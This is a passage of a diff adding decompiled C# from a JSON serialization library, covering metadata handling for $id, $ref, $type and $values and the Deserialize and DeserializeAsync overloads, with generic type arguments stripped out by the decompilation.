jsonTypeInfo, ref Utf8JsonReader reader, scoped ref ReadStack state) + { + while (true) + { + if (state.Current.PropertyState == StackFramePropertyState.None) + { + state.Current.PropertyState = StackFramePropertyState.ReadName; + if (!reader.Read()) + { + return false; + } + } + if ((int)state.Current.PropertyState < 2) + { + if (reader.TokenType == JsonTokenType.EndObject) + { + return true; + } + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Ref) != MetadataPropertyName.None) + { + ThrowHelper.ThrowJsonException_MetadataReferenceObjectCannotContainOtherProperties(reader.GetSpan(), ref state); + } + ReadOnlySpan span = reader.GetSpan(); + switch (state.Current.LatestMetadataPropertyName = GetMetadataPropertyName(span, jsonTypeInfo.PolymorphicTypeResolver)) + { + case MetadataPropertyName.Id: + state.Current.JsonPropertyName = s_idPropertyName; + if (state.ReferenceResolver == null) + { + ThrowHelper.ThrowJsonException_MetadataUnexpectedProperty(span, ref state); + } + if ((state.Current.MetadataPropertyNames & (MetadataPropertyName.Id | MetadataPropertyName.Ref)) != MetadataPropertyName.None) + { + ThrowHelper.ThrowJsonException_MetadataIdIsNotFirstProperty(span, ref state); + } + if (!converter.CanHaveMetadata) + { + ThrowHelper.ThrowJsonException_MetadataCannotParsePreservedObjectIntoImmutable(converter.Type); + } + break; + case MetadataPropertyName.Ref: + state.Current.JsonPropertyName = s_refPropertyName; + if (state.ReferenceResolver == null) + { + ThrowHelper.ThrowJsonException_MetadataUnexpectedProperty(span, ref state); + } + if (converter.IsValueType) + { + ThrowHelper.ThrowJsonException_MetadataInvalidReferenceToValueType(converter.Type); + } + if (state.Current.MetadataPropertyNames != MetadataPropertyName.None) + { + ThrowHelper.ThrowJsonException_MetadataReferenceObjectCannotContainOtherProperties(reader.GetSpan(), ref state); + } + break; + case MetadataPropertyName.Type: + state.Current.JsonPropertyName = jsonTypeInfo.PolymorphicTypeResolver?.TypeDiscriminatorPropertyNameUtf8 ?? s_typePropertyName; + if (jsonTypeInfo.PolymorphicTypeResolver == null) + { + ThrowHelper.ThrowJsonException_MetadataUnexpectedProperty(span, ref state); + } + if (state.PolymorphicTypeDiscriminator != null) + { + ThrowHelper.ThrowJsonException_MetadataDuplicateTypeProperty(); + } + break; + case MetadataPropertyName.Values: + state.Current.JsonPropertyName = s_valuesPropertyName; + if (state.Current.MetadataPropertyNames == MetadataPropertyName.None) + { + ThrowHelper.ThrowJsonException_MetadataStandaloneValuesProperty(ref state, span); + } + break; + default: + return true; + } + state.Current.PropertyState = StackFramePropertyState.Name; + } + if ((int)state.Current.PropertyState < 3) + { + state.Current.PropertyState = StackFramePropertyState.ReadValue; + if (!reader.Read()) + { + break; + } + } + switch (state.Current.LatestMetadataPropertyName) + { + case MetadataPropertyName.Id: + if (reader.TokenType != JsonTokenType.String) + { + ThrowHelper.ThrowJsonException_MetadataValueWasNotString(reader.TokenType); + } + if (state.ReferenceId != null) + { + ThrowHelper.ThrowNotSupportedException_ObjectWithParameterizedCtorRefMetadataNotSupported(s_refPropertyName, ref reader, ref state); + } + state.ReferenceId = reader.GetString(); + break; + case MetadataPropertyName.Ref: + if (reader.TokenType != JsonTokenType.String) + { + ThrowHelper.ThrowJsonException_MetadataValueWasNotString(reader.TokenType); + } + if (state.ReferenceId != null) + { + ThrowHelper.ThrowNotSupportedException_ObjectWithParameterizedCtorRefMetadataNotSupported(s_refPropertyName, ref reader, ref state); + } + state.ReferenceId = reader.GetString(); + break; + case MetadataPropertyName.Type: + switch (reader.TokenType) + { + case JsonTokenType.String: + state.PolymorphicTypeDiscriminator = reader.GetString(); + break; + case JsonTokenType.Number: + state.PolymorphicTypeDiscriminator = reader.GetInt32(); + break; + default: + ThrowHelper.ThrowJsonException_MetadataValueWasNotString(reader.TokenType); + break; + } + break; + case MetadataPropertyName.Values: + if (reader.TokenType != JsonTokenType.StartArray) + { + ThrowHelper.ThrowJsonException_MetadataValuesInvalidToken(reader.TokenType); + } + state.Current.PropertyState = StackFramePropertyState.None; + state.Current.MetadataPropertyNames |= state.Current.LatestMetadataPropertyName; + return true; + } + state.Current.MetadataPropertyNames |= state.Current.LatestMetadataPropertyName; + state.Current.PropertyState = StackFramePropertyState.None; + state.Current.JsonPropertyName = null; + } + return false; + } + + internal static bool IsMetadataPropertyName(ReadOnlySpan propertyName, PolymorphicTypeResolver resolver) + { + if (propertyName.Length <= 0 || propertyName[0] != 36) + { + if (resolver == null) + { + return false; + } + return resolver.TypeDiscriminatorPropertyNameUtf8?.AsSpan().SequenceEqual(propertyName) == true; + } + return true; + } + + internal static MetadataPropertyName GetMetadataPropertyName(ReadOnlySpan propertyName, PolymorphicTypeResolver resolver) + { + if (propertyName.Length > 0 && propertyName[0] == 36) + { + switch (propertyName.Length) + { + case 3: + if (propertyName[1] == 105 && propertyName[2] == 100) + { + return MetadataPropertyName.Id; + } + break; + case 4: + if (propertyName[1] == 114 && propertyName[2] == 101 && propertyName[3] == 102) + { + return MetadataPropertyName.Ref; + } + break; + case 5: + if (resolver?.TypeDiscriminatorPropertyNameUtf8 == null && propertyName[1] == 116 && propertyName[2] == 121 && propertyName[3] == 112 && propertyName[4] == 101) + { + return MetadataPropertyName.Type; + } + break; + case 7: + if (propertyName[1] == 118 && propertyName[2] == 97 && propertyName[3] == 108 && propertyName[4] == 117 && propertyName[5] == 101 && propertyName[6] == 115) + { + return MetadataPropertyName.Values; + } + break; + } + } + byte[] array = resolver?.TypeDiscriminatorPropertyNameUtf8; + if (array != null && propertyName.SequenceEqual(array)) + { + return MetadataPropertyName.Type; + } + return MetadataPropertyName.None; + } + + internal static bool TryHandleReferenceFromJsonElement(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonElement element, [NotNullWhen(true)] out object referenceValue) + { + bool flag = false; + referenceValue = null; + if (element.ValueKind == JsonValueKind.Object) + { + int num = 0; + foreach (JsonProperty item in element.EnumerateObject()) + { + num++; + if (flag) + { + ThrowHelper.ThrowJsonException_MetadataReferenceObjectCannotContainOtherProperties(); + continue; + } + if (item.EscapedNameEquals(s_idPropertyName)) + { + if (state.ReferenceId != null) + { + ThrowHelper.ThrowNotSupportedException_ObjectWithParameterizedCtorRefMetadataNotSupported(s_refPropertyName, ref reader, ref state); + } + if (item.Value.ValueKind != JsonValueKind.String) + { + ThrowHelper.ThrowJsonException_MetadataValueWasNotString(item.Value.ValueKind); + } + object obj = element; + state.ReferenceResolver.AddReference(item.Value.GetString(), obj); + referenceValue = obj; + return true; + } + if (item.EscapedNameEquals(s_refPropertyName)) + { + if (state.ReferenceId != null) + { + ThrowHelper.ThrowNotSupportedException_ObjectWithParameterizedCtorRefMetadataNotSupported(s_refPropertyName, ref reader, ref state); + } + if (num > 1) + { + ThrowHelper.ThrowJsonException_MetadataReferenceObjectCannotContainOtherProperties(); + } + if (item.Value.ValueKind != JsonValueKind.String) + { + ThrowHelper.ThrowJsonException_MetadataValueWasNotString(item.Value.ValueKind); + } + referenceValue = state.ReferenceResolver.ResolveReference(item.Value.GetString()); + flag = true; + } + } + } + return flag; + } + + internal static bool TryHandleReferenceFromJsonNode(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonNode jsonNode, [NotNullWhen(true)] out object referenceValue) + { + bool flag = false; + referenceValue = null; + if (jsonNode is JsonObject jsonObject) + { + int num = 0; + foreach (KeyValuePair item in jsonObject) + { + num++; + if (flag) + { + ThrowHelper.ThrowJsonException_MetadataReferenceObjectCannotContainOtherProperties(); + continue; + } + if (item.Key == "$id") + { + if (state.ReferenceId != null) + { + ThrowHelper.ThrowNotSupportedException_ObjectWithParameterizedCtorRefMetadataNotSupported(s_refPropertyName, ref reader, ref state); + } + string referenceId = ReadAsStringMetadataValue(item.Value); + state.ReferenceResolver.AddReference(referenceId, jsonNode); + referenceValue = jsonNode; + return true; + } + if (item.Key == "$ref") + { + if (state.ReferenceId != null) + { + ThrowHelper.ThrowNotSupportedException_ObjectWithParameterizedCtorRefMetadataNotSupported(s_refPropertyName, ref reader, ref state); + } + if (num > 1) + { + ThrowHelper.ThrowJsonException_MetadataReferenceObjectCannotContainOtherProperties(); + } + string referenceId2 = ReadAsStringMetadataValue(item.Value); + referenceValue = state.ReferenceResolver.ResolveReference(referenceId2); + flag = true; + } + } + } + return flag; + static string ReadAsStringMetadataValue(JsonNode jsonNode2) + { + if (jsonNode2 is JsonValue jsonValue && jsonValue.TryGetValue(out string value) && value != null) + { + return value; + } + JsonValueKind jsonValueKind = ((jsonNode2 == null) ? JsonValueKind.Null : ((jsonNode2 is JsonObject) ? JsonValueKind.Object : ((jsonNode2 is JsonArray) ? JsonValueKind.Array : ((jsonNode2 is JsonValue jsonValue2) ? jsonValue2.Value.ValueKind : JsonValueKind.Undefined)))); + JsonValueKind valueKind = jsonValueKind; + ThrowHelper.ThrowJsonException_MetadataValueWasNotString(valueKind); + return null; + } + } + + internal static void ValidateMetadataForObjectConverter(ref ReadStack state) + { + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Values) != MetadataPropertyName.None) + { + ThrowHelper.ThrowJsonException_MetadataUnexpectedProperty(s_valuesPropertyName, ref state); + } + } + + internal static void ValidateMetadataForArrayConverter(JsonConverter converter, ref Utf8JsonReader reader, scoped ref ReadStack state) + { + switch (reader.TokenType) + { + case JsonTokenType.EndObject: + if (state.Current.MetadataPropertyNames != MetadataPropertyName.Ref) + { + ThrowHelper.ThrowJsonException_MetadataPreservedArrayValuesNotFound(ref state, converter.Type); + } + break; + default: + ThrowHelper.ThrowJsonException_MetadataInvalidPropertyInArrayMetadata(ref state, converter.Type, in reader); + break; + case JsonTokenType.StartArray: + break; + } + } + + internal static T ResolveReferenceId(ref ReadStack state) + { + string referenceId = state.ReferenceId; + object obj = state.ReferenceResolver.ResolveReference(referenceId); + state.ReferenceId = null; + try + { + return (T)obj; + } + catch (InvalidCastException) + { + ThrowHelper.ThrowInvalidOperationException_MetadataReferenceOfTypeCannotBeAssignedToType(referenceId, obj.GetType(), typeof(T)); + return default(T); + } + } + + internal static JsonPropertyInfo LookupProperty(object obj, ReadOnlySpan unescapedPropertyName, ref ReadStack state, JsonSerializerOptions options, out bool useExtensionProperty, bool createExtensionProperty = true) + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + useExtensionProperty = false; + byte[] utf8PropertyName; + JsonPropertyInfo jsonPropertyInfo = jsonTypeInfo.GetProperty(unescapedPropertyName, ref state.Current, out utf8PropertyName); + state.Current.PropertyIndex++; + state.Current.JsonPropertyName = utf8PropertyName; + if (jsonPropertyInfo == JsonPropertyInfo.s_missingProperty) + { + if (jsonTypeInfo.EffectiveUnmappedMemberHandling == JsonUnmappedMemberHandling.Disallow) + { + string unmappedPropertyName = JsonHelpers.Utf8GetString(unescapedPropertyName); + ThrowHelper.ThrowJsonException_UnmappedJsonProperty(jsonTypeInfo.Type, unmappedPropertyName); + } + JsonPropertyInfo extensionDataProperty = jsonTypeInfo.ExtensionDataProperty; + if (extensionDataProperty != null && extensionDataProperty.HasGetter && extensionDataProperty.HasSetter) + { + state.Current.JsonPropertyNameAsString = JsonHelpers.Utf8GetString(unescapedPropertyName); + if (createExtensionProperty) + { + CreateExtensionDataProperty(obj, extensionDataProperty, options); + } + jsonPropertyInfo = extensionDataProperty; + useExtensionProperty = true; + } + } + state.Current.JsonPropertyInfo = jsonPropertyInfo; + state.Current.NumberHandling = jsonPropertyInfo.EffectiveNumberHandling; + return jsonPropertyInfo; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static ReadOnlySpan GetPropertyName(scoped ref ReadStack state, ref Utf8JsonReader reader) + { + ReadOnlySpan span = reader.GetSpan(); + ReadOnlySpan result = ((!reader.ValueIsEscaped) ? span : JsonReaderHelper.GetUnescapedSpan(span)); + if (state.Current.CanContainMetadata && IsMetadataPropertyName(span, state.Current.BaseJsonTypeInfo.PolymorphicTypeResolver)) + { + ThrowHelper.ThrowUnexpectedMetadataException(span, ref reader, ref state); + } + return result; + } + + internal static void CreateExtensionDataProperty(object obj, JsonPropertyInfo jsonPropertyInfo, JsonSerializerOptions options) + { + object valueAsObject = jsonPropertyInfo.GetValueAsObject(obj); + if (valueAsObject != null) + { + return; + } + Func func = jsonPropertyInfo.JsonTypeInfo.CreateObject ?? jsonPropertyInfo.JsonTypeInfo.CreateObjectForExtensionDataProperty; + if (func == null) + { + if (jsonPropertyInfo.PropertyType.FullName == "System.Text.Json.Nodes.JsonObject") + { + ThrowHelper.ThrowInvalidOperationException_NodeJsonObjectCustomConverterNotAllowedOnExtensionProperty(); + } + else + { + ThrowHelper.ThrowNotSupportedException_SerializationNotSupported(jsonPropertyInfo.PropertyType); + } + } + valueAsObject = func(); + jsonPropertyInfo.Set(obj, valueAsObject); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static TValue? Deserialize(ReadOnlySpan utf8Json, JsonSerializerOptions? options = null) + { + JsonTypeInfo typeInfo = GetTypeInfo(options); + return ReadFromSpan(utf8Json, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static object? Deserialize(ReadOnlySpan utf8Json, Type returnType, JsonSerializerOptions? options = null) + { + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options, returnType); + return ReadFromSpanAsObject(utf8Json, typeInfo); + } + + public static TValue? Deserialize(ReadOnlySpan utf8Json, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return ReadFromSpan(utf8Json, jsonTypeInfo); + } + + public static object? Deserialize(ReadOnlySpan utf8Json, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return ReadFromSpanAsObject(utf8Json, jsonTypeInfo); + } + + public static object? Deserialize(ReadOnlySpan utf8Json, Type returnType, JsonSerializerContext context) + { + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + return ReadFromSpanAsObject(utf8Json, GetTypeInfo(context, returnType)); + } + + private static TValue ReadFromSpan(ReadOnlySpan utf8Json, JsonTypeInfo jsonTypeInfo, int? actualByteCount = null) + { + JsonReaderState state = new JsonReaderState(jsonTypeInfo.Options.GetReaderOptions()); + Utf8JsonReader reader = new Utf8JsonReader(utf8Json, isFinalBlock: true, state); + ReadStack state2 = default(ReadStack); + state2.Initialize(jsonTypeInfo); + return jsonTypeInfo.Deserialize(ref reader, ref state2); + } + + private static object ReadFromSpanAsObject(ReadOnlySpan utf8Json, JsonTypeInfo jsonTypeInfo, int? actualByteCount = null) + { + JsonReaderState state = new JsonReaderState(jsonTypeInfo.Options.GetReaderOptions()); + Utf8JsonReader reader = new Utf8JsonReader(utf8Json, isFinalBlock: true, state); + ReadStack state2 = default(ReadStack); + state2.Initialize(jsonTypeInfo); + return jsonTypeInfo.DeserializeAsObject(ref reader, ref state2); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static ValueTask DeserializeAsync(Stream utf8Json, JsonSerializerOptions? options = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options); + return typeInfo.DeserializeAsync(utf8Json, cancellationToken); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static TValue? Deserialize(Stream utf8Json, JsonSerializerOptions? options = null) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options); + return typeInfo.Deserialize(utf8Json); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static ValueTask DeserializeAsync(Stream utf8Json, Type returnType, JsonSerializerOptions? options = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options, returnType); + return typeInfo.DeserializeAsObjectAsync(utf8Json, cancellationToken); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static object? Deserialize(Stream utf8Json, Type returnType, JsonSerializerOptions? options = null) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options, returnType); + return typeInfo.DeserializeAsObject(utf8Json); + } + + public static ValueTask DeserializeAsync(Stream utf8Json, JsonTypeInfo jsonTypeInfo, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return jsonTypeInfo.DeserializeAsync(utf8Json, cancellationToken); + } + + public static ValueTask DeserializeAsync(Stream utf8Json, JsonTypeInfo jsonTypeInfo, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return jsonTypeInfo.DeserializeAsObjectAsync(utf8Json, cancellationToken); + } + + public static TValue? Deserialize(Stream utf8Json, JsonTypeInfo jsonTypeInfo) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return jsonTypeInfo.Deserialize(utf8Json); + } + + public static object? Deserialize(Stream utf8Json, JsonTypeInfo jsonTypeInfo) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return jsonTypeInfo.DeserializeAsObject(utf8Json); + } + + public static ValueTask DeserializeAsync(Stream utf8Json, Type returnType, JsonSerializerContext context, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + JsonTypeInfo typeInfo = GetTypeInfo(context, returnType); + return typeInfo.DeserializeAsObjectAsync(utf8Json, cancellationToken); + } + + public static object? Deserialize(Stream utf8Json, Type returnType, JsonSerializerContext context) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + JsonTypeInfo typeInfo = GetTypeInfo(context, returnType); + return typeInfo.DeserializeAsObject(utf8Json); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static IAsyncEnumerable DeserializeAsyncEnumerable(Stream utf8Json, JsonSerializerOptions? options = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options); + return DeserializeAsyncEnumerableCore(utf8Json, typeInfo, cancellationToken); + } + + public static IAsyncEnumerable DeserializeAsyncEnumerable(Stream utf8Json, JsonTypeInfo jsonTypeInfo, CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return DeserializeAsyncEnumerableCore(utf8Json, jsonTypeInfo, cancellationToken); + } + + private static IAsyncEnumerable DeserializeAsyncEnumerableCore(Stream utf8Json, JsonTypeInfo jsonTypeInfo, CancellationToken cancellationToken) + { + JsonTypeInfo asyncEnumerableQueueTypeInfo = jsonTypeInfo._asyncEnumerableQueueTypeInfo; + JsonTypeInfo> queueTypeInfo = ((asyncEnumerableQueueTypeInfo != null) ? ((JsonTypeInfo>)asyncEnumerableQueueTypeInfo) : CreateQueueTypeInfo(jsonTypeInfo)); + return CreateAsyncEnumerable(utf8Json, queueTypeInfo, cancellationToken); + static async IAsyncEnumerable CreateAsyncEnumerable(Stream utf8Json2, JsonTypeInfo> jsonTypeInfo2, [EnumeratorCancellation] CancellationToken cancellationToken2) + { + JsonSerializerOptions options = jsonTypeInfo2.Options; + ReadBufferState bufferState = new ReadBufferState(options.DefaultBufferSize); + ReadStack readStack = default(ReadStack); + readStack.Initialize(jsonTypeInfo2, supportContinuation: true); + JsonReaderState jsonReaderState = new JsonReaderState(options.GetReaderOptions()); + try + { + do + { + bufferState = await bufferState.ReadFromStreamAsync(utf8Json2, cancellationToken2, fillBuffer: false).ConfigureAwait(continueOnCapturedContext: false); + jsonTypeInfo2.ContinueDeserialize(ref bufferState, ref jsonReaderState, ref readStack); + object returnValue = readStack.Current.ReturnValue; + if (returnValue != null) + { + Queue queue = (Queue)returnValue; + T result; + while (JsonHelpers.TryDequeue(queue, out result)) + { + yield return result; + } + } + } + while (!bufferState.IsFinalBlock); + } + finally + { + bufferState.Dispose(); + } + } + static JsonTypeInfo> CreateQueueTypeInfo(JsonTypeInfo jsonTypeInfo3) + { + QueueOfTConverter, T> converter = new QueueOfTConverter, T>(); + JsonTypeInfo> jsonTypeInfo2 = new JsonTypeInfo>(converter, jsonTypeInfo3.Options) + { + CreateObject = () => new Queue(), + ElementTypeInfo = jsonTypeInfo3, + NumberHandling = jsonTypeInfo3.Options.NumberHandling + }; + jsonTypeInfo2.EnsureConfigured(); + jsonTypeInfo3._asyncEnumerableQueueTypeInfo = jsonTypeInfo2; + return jsonTypeInfo2; + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static TValue? Deserialize([StringSyntax("Json")] string json, JsonSerializerOptions? options = null) + { + if (json == null) + { + ThrowHelper.ThrowArgumentNullException("json"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options); + return ReadFromSpan(json.AsSpan(), typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static TValue? Deserialize([StringSyntax("Json")] ReadOnlySpan json, JsonSerializerOptions? options = null) + { + JsonTypeInfo typeInfo = GetTypeInfo(options); + return ReadFromSpan(json, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static object? Deserialize([StringSyntax("Json")] string json, Type returnType, JsonSerializerOptions? options = null) + { + if (json == null) + { + ThrowHelper.ThrowArgumentNullException("json"); + } + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options, returnType); + return ReadFromSpanAsObject(json.AsSpan(), typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static object? Deserialize([StringSyntax("Json")] ReadOnlySpan json, Type returnType, JsonSerializerOptions? options = null) + { + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options, returnType); + return ReadFromSpanAsObject(json, typeInfo); + } + + public static TValue? Deserialize([StringSyntax("Json")] string json, JsonTypeInfo jsonTypeInfo) + { + if (json == null) + { + ThrowHelper.ThrowArgumentNullException("json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return ReadFromSpan(json.AsSpan(), jsonTypeInfo); + } + + public static TValue? Deserialize([StringSyntax("Json")] ReadOnlySpan json, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return ReadFromSpan(json, jsonTypeInfo); + } + + public static object? Deserialize([StringSyntax("Json")] string json, JsonTypeInfo jsonTypeInfo) + { + if (json == null) + { + ThrowHelper.ThrowArgumentNullException("json"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return ReadFromSpanAsObject(json.AsSpan(), jsonTypeInfo); + } + + public static object? Deserialize([StringSyntax("Json")] ReadOnlySpan json, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return ReadFromSpanAsObject(json, jsonTypeInfo); + } + + public static object? Deserialize([StringSyntax("Json")] string json, Type returnType, JsonSerializerContext context) + { + if (json == null) + { + ThrowHelper.ThrowArgumentNullException("json"); + } + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + JsonTypeInfo typeInfo = GetTypeInfo(context, returnType); + return ReadFromSpanAsObject(json.AsSpan(), typeInfo); + } + + public static object? Deserialize([StringSyntax("Json")] ReadOnlySpan json, Type returnType, JsonSerializerContext context) + { + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + JsonTypeInfo typeInfo = GetTypeInfo(context, returnType); + return ReadFromSpanAsObject(json, typeInfo); + } + + private static TValue ReadFromSpan(ReadOnlySpan json, JsonTypeInfo jsonTypeInfo) + { + byte[] array = null; + Span span = (((long)json.Length > 349525L) ? new byte[JsonReaderHelper.GetUtf8ByteCount(json)] : (array = ArrayPool.Shared.Rent(json.Length * 3))); + try + { + int utf8FromText = JsonReaderHelper.GetUtf8FromText(json, span); + span = span.Slice(0, utf8FromText); + return ReadFromSpan(span, jsonTypeInfo, utf8FromText); + } + finally + { + if (array != null) + { + span.Clear(); + ArrayPool.Shared.Return(array); + } + } + } + + private static object ReadFromSpanAsObject(ReadOnlySpan json, JsonTypeInfo jsonTypeInfo) + { + byte[] array = null; + Span span = (((long)json.Length > 349525L) ? new byte[JsonReaderHelper.GetUtf8ByteCount(json)] : (array = ArrayPool.Shared.Rent(json.Length * 3))); + try + { + int utf8FromText = JsonReaderHelper.GetUtf8FromText(json, span); + span = span.Slice(0, utf8FromText); + return ReadFromSpanAsObject(span, jsonTypeInfo, utf8FromText); + } + finally + { + if (array != null) + { + span.Clear(); + ArrayPool.Shared.Return(array); + } + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that 